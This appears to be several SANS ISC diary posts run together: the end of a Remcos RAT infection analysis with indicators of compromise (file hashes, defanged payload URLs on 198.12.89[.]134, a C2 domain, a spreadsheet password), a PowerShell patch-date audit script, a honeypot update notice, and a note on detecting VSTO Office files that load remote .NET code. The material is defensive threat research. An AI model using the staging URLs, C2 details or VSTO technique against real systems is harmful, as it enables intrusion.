Shown above:  Scroll down in the TCP (or HTTP) stream, and you'll find code with hex characters used to create a malicious DLL.

Shown above:  TCP stream of Remcos RAT C2 traffic.

Shown above:  Registry updates with license key used for at least one other recent Remcos RAT sample.

Shown above:  Dump file for keylogger used for this Remcos RAT infection.

Indicators of Compromise (IOCs)

Associated malware:

SHA256 hash: 9162fbb9481096ce0eab74c748c30a156d35d2adc3526fd2f96d6a4d60e9fc80

• File size:  226,816 bytes
• File name:  CNB Payment Advice.xls
• File description:  password-protected Excel spreadsheet with macros for Remcos RAT
• Password:  34278
• Any.Run analysis:  link

SHA256 hash: c36aea682b6fc9e33c8d272de32b31fd9baf16055e7e8006217d9bef79480a04

• File size:  2,060 bytes
• File location:  hxxp://198.12.89[.]134/ADP/EFT.vbs
• File location:  C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\credit.vbs
• File description:  VBS file used for Remcos RAT infection

SHA256 hash: 12f26a0678ead6807a30af5f667c5b08288254c0c5ef1ba5817a3330f4445940

• File size:  84,480 bytes
• File type:  PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
• File description:  DLL file converted from obfuscated script returned from hxxp://198.12.89[.]134/Accounts/Deposits.jpg
• File note:  Did not find this saved to disk during the infection, and I don't know how it's run.

Traffic to retrieve file for Remcos RAT infection:

• hxxp://198.12.89[.]134/ADP/EFT.vbs
• hxxp://198.12.89[.]134/Finance/Remittance.txt
• hxxp://198.12.89[.]134/Accounts/Deposits.jpg

Remcos RAT C2 - TLSv1.3 traffic:

• 184.75.221[.]203 port 55026 - saptransmissions.dvrlists[.]com

Note: Shortly before the above C2 traffic, the infected Windows host generated DNS query for google.com and an ICMP ping request & response to the associated IP address.

Keylog directory name:  MAYB22

License used for this Remcos RAT sample:  FDA2A20782EBD0A0B1004D41F9A29296

Final words

A list of articles and blog posts about Remcos RAT is available on the Malpedia page for Remcos. The list includes an ISC diary in February 2022 by Xavier Mertens.

Malware based on Remcos RAT was first reported in 2017.  As 2022 continues, I expect Remcos RAT will continue to be part of our threat landscape.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

I've been using a PowerShell script since forever that enumerates the patch dates across an AD domain.  Yesterday I found a use case where it was broken.

I found a number of servers that received an update last month for Windows Update itself (KB5011570: Servicing stack update for Windows 10, version 1607 and Server 2016: March 8, 2022).  However, they did not install The April or in some cases even the March cumulative updates.  In the graphic below, you'll see that "Servicing stack update" KB5011570, first in the list, with February's Cumulative update (KB5010359) as SECOND.  If I'm measuring patch compliance for a client's domain, or looking for servers that have missed a patch cycle, it's that second patch I'm interested in.

However, my previous script happily enumerated the "last patch date" and found that April update of course, which should not have counted (given what I'm enumerating for)

So, how to fix this?  The easy answer is "look for the word "Cumulative" in the patch description.  It was at this point that I discovered that the get-hotfix and the gwmi methods of collecting patches run against the local machine, and the actual plain-language text description of the update is NOT kept locally, you need to make a web request using the KB number to get that!  These commands collect the KB number and call it a day.  The web request you woudl make from a browser (more on this later) to collect the "real" description looks like:

https://www.catalog.update.microsoft.com/Search.aspx?q=$kbnum

This collects a full HTML page with a TON of information:

You can parse this until you reach sub-atomic particles, but in my script all I'm interested in is if the word "Cumulative" exists in the patch titles.  We find this in the "outertext" section of the HTML that's returned - which you get from:
$returntable = $WebResponse.ParsedHtml.body.getElementsByTagName("table") | Where {$_.className -match "resultsBorder"}
write-host $returntable.outertext   # only needed for debugging and illustration

Now add a quick check:
if ($returntable.outertext -like "*Cumulative*")

Before I make these calls, I sort the full patch list in descending order, so I can start from the most recent one, looking for the newest patch with that key word "Cumulative".  The final script is in my github at:
https://github.com/robvandenbrink/Critical-Controls-v7/tree/master/CC03

And yes, I will be creating a CIS Controls Version 8 set of scripts (sometime soon).

The final script, with these changes is:

$pcs = get-adcomputer -filter * -property Name,OperatingSystem,Operatingsystemversion,LastLogonDate,IPV4Address $patchinfo = @() $i=0 $count = $pcs.count foreach ($pc in $pcs) {     $i+=1     # keep total progress count     write-host "Host" $i "of" $count "is being checked"     if (Test-Connection -ComputerName $pc.DNSHostName -count 2 -Quiet) {         # echo the host being assessed (only live hosts hit this print)         write-host $pc.dnshostname "is up, and is being assessed"         $tempval = new-object psobject         $hfs = get-hotfix -computername $pc.dnshostname | sort -descending InstalledOn         # look only for the latest Cumulative update         foreach ($hf in $hfs) {                 $kbnum = $hf.hotfixid                 $WebResponse = Invoke-WebRequest "https://www.catalog.update.microsoft.com/Search.aspx?q=$kbnum"                 $returntable = $WebResponse.ParsedHtml.body.getElementsByTagName("table") | Where {$_.className -match "resultsBorder"}                 # write-host $returntable.outertext    # no need to write this to the screen unless debugging                 if ($returntable.outertext -like "*Cumulative*")  {                      $lasthf = $hf                      break                      }                 }         $tempval | add-member -membertype noteproperty -name Name -value $pc.dnshostname         $tempval | add-member -membertype noteproperty -name PatchDate -value $lasthf.installedon         $tempval | add-member -membertype noteproperty -name OperatingSystem -value $pc.OperatingSystem         $tempval | add-member -membertype noteproperty -name OperatingSystemVersion -value $pc.OperatingSystemVersion         $tempval | add-member -membertype noteproperty -name IpAddress -value $pc.IPV4Address         $tempval | add-member -membertype noteproperty -name LastLogonDate -value $pc.LastLogonDate         $patchinfo += $tempval         }     } $patchinfo | export-csv -path ./patchdate.csv

 

This script is by no means done!  This is a quick-and-dirty "how can I get the info really quickly" script, since I needed it before planning a series of updates.  There's definitely an API for this, and Microsoft has also published a graphql approach (which is WAY too complicated for what I'm collecting)

I also found a nice module in PowershellGallery "PSWindowsUpdate", but it doesn't seem to work 100% yet - the get-wuhistory command hangs fairly consistently.  (https://www.parallels.com/blogs/ras/powershell-windows-update/).  Once that's fixed though it'll be a good way to go!.  

The WindowsUpdateProvider module from Microsoft also looks great, but is native to W11 and S2019 - something version agnostic that doesn't need to be installed would be ideal.  Lots of us run scripts like this on customer servers, so you can't depend on a specific OS version, and installing additional tools that the client hasn't approved is also generally frowned upon  ..

What I'm really looking for is a a good, clear PowerShell call using a supported API for this, which doesn't require an third party module and isn't OS or PowerShell version-specific.  My google-fu isn't finding this today, so for now I have the approach above - but I certainly have not given up.  If anyone can point me at such a thing, I'll gladly update the script above and repost it when it's finished.  The method I've described above works, but will only work until some dev at Microsoft decides to change that Update Catalog results page.

Enjoy! (and a follow up to come soon!)

===============
Rob VandenBrink
rob@coherentsecurity.com

Yesterday I made live some updates to our honeypot. The honeypot has gained popularity, and users have adapted it to different platforms. We continue to work on it, and significant updates will hopefully be ready soon, but for now, I released an update fixing some bugs and, most of all, updated some of the instructions. Thanks to our SANS.edu undergraduate interns for helping with this.

1 - Cowrie Update

We use cowrie to collect telnet and ssh logs (thanks, Michel Oosterhof, for maintaining this great tool). To avoid breaking any dependencies with our end of the log processing, we include a bundled version of cowrie vs. just pulling the most current one from Github. 

2 - Updated Raspberry Pi Installation

The preferred way to install our honeypot is a Raspberry Pi. The Raspberry Pi project has released an "Imager" tool to streamline the initial install experience. The "Imager" tool allows you to create a customized image with ssh enabled, a custom username and password, and upload ssh keys. You first had to create an image and later log in to the Pi to make these adjustments in the past.

3 - Improved Ubuntu Version

Raspberry Pis are in short supply right now. Another popular alternative to installing the honeypot is to use a virtual machine running Ubuntu. Earlier versions of the honeypot did not install the firewall rules correctly, leading to missed logs. This has been fixed now. Note that the honeypot install will not preserve any firewall rules you may have had before installing the honeypot.

4 - Azure Install

Again thanks to our SANS.edu interns, the honeypot now works better with Azure. We always sort of supported AWS (it is just a VM, after all), but now, you may use Azure.

The update should apply automatically if you have automatic updates enabled. If not, you will receive an email reminding you to update manually in a few days. Please report any bugs via GitHub.

---

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

VSTO Office files can be detected with ExifTool:

This was discovered by @ochsenmeier.

VSTO Office files are Office documents that are linked to a Visual Studio Office File application. That application is written with .NET, and can contain arbitrary code.

This feature can be used for malicious purposes, just like VBA. VSTO Office files do not contain VBA code (although they can), but they contain references and metadata to launch the VSTO file (a .NET application) when they are opened. And it is possible to host the VSTO files and accompanying files on a web server.

Referencing a VSTO file is done with 2 user defined properties: _AssemblyLocation and _AssemblyName. These properties can be extracted with zipdump.py for OOXML files and with oledump.py for OLE files.

Or with ExifTool.

For OOXML files, ExifTool displays the actual names of these user defined properties:

 

While for ole files, ExifTool uses "Tag Assembly Location" and "Tag Assembly Name":

When the VSTO file is downloaded from the Internet, the user defined property _AssemblyLocation will be a URL.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com